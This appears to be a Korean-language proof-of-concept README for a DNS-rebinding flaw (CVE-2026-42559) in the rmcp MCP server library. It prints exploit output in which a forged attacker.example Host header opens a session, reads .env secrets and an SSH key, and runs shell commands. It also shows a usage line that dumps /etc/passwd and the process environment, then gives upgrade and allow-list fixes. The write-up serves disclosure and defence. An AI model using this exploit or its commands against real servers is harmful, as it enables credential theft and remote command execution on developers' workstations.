.
├── docker-compose.yml       # 동일한 소스, 서로 다른 rmcp 버전의 두 서비스
├── mcp-server/              # 실제적인 "개발자 어시스턴트" MCP 서버
│   ├── Cargo.toml
│   ├── Dockerfile           # RMCP_VERSION 빌드 인자가 크레이트 버전을 고정
│   └── src/main.rs
└── exploit/
    └── exploit.py           # PoC, Python 3.9+, 의존성 없음

docker compose up -d --build

python3 exploit/exploit.py --target 127.0.0.1:8000

CVE-2026-42559 :: rmcp Streamable HTTP -- Host 헤더가 검증되지 않음
    target       http://127.0.0.1:8000/mcp
    legit Host   127.0.0.1:8000
    rebind Host  mcp-rebind.attacker.example:8000

[*] step 0: 정당한 Host 헤더로 기준 핸드셰이크
[+] 200 OK -- 서버 실행 중: rmcp 1.3.0

[*] step 1: 리바인딩 후 요청 재전송 (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- 위조된 Host 헤더가 수락됨: CVE-2026-42559에 취약
[+] 외부 출처에서 세션 열림: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57

[*] step 2: 이제 공격자 페이지에 노출된 도구 열거
        - read_file    워크스테이션에서 파일 읽기
        - run_command  워크스테이션에서 셸 명령 실행
        - whoami       이 어시스턴트가 실행되는 워크스테이션 설명

[*] step 3: 공격자 페이지가 로컬 MCP 클라이언트인 것처럼 도구 호출
    tools/call whoami
        | user=unknown host=35b31d892a7a pid=1
    tools/call read_file path=/home/dev/project/.env
        | STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
        | DATABASE_URL=postgres://app:[email protected]:5432/app
    tools/call read_file path=/home/dev/.ssh/id_ed25519
        | -----BEGIN OPENSSH PRIVATE KEY-----
        | FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
        | -----END OPENSSH PRIVATE KEY-----
    tools/call run_command command='id; uname -a'
        | uid=1000(dev) gid=1000(dev) groups=1000(dev)
        | Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux

[!] 웹 페이지에서 피해자 호스트에 대한 임의 읽기 및 명령 실행

python3 exploit/exploit.py --target 127.0.0.1:8001

[*] step 0: 정당한 Host 헤더로 기준 핸드셰이크
[+] 200 OK -- 서버 실행 중: rmcp 1.4.0

[*] step 1: 리바인딩 후 요청 재전송 (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Forbidden: Host 헤더가 허용되지 않음
[+] 취약하지 않음: 이 빌드는 Host 헤더를 검증함 (rmcp >= 1.4.0)

python3 exploit/exploit.py \
  --target 127.0.0.1:8000 \
  --rebind-host wallet.attacker.example \
  --loot /etc/passwd \
  --command 'cat /proc/self/environ | tr "\0" "\n"'

// 1. 업그레이드.
//    rmcp = "1.4"   (또는 이후 버전)

// 2. 1.4.0부터 루프백 전용이 기본값입니다. 로컬 바인딩 서버는
//    추가 작업이 필요 없습니다.
let config = StreamableHttpServerConfig::default();

// 3. 실제 공개 배포의 경우 자체 도메인을 허용 목록에 추가하세요.
let config = StreamableHttpServerConfig::default()
    .with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);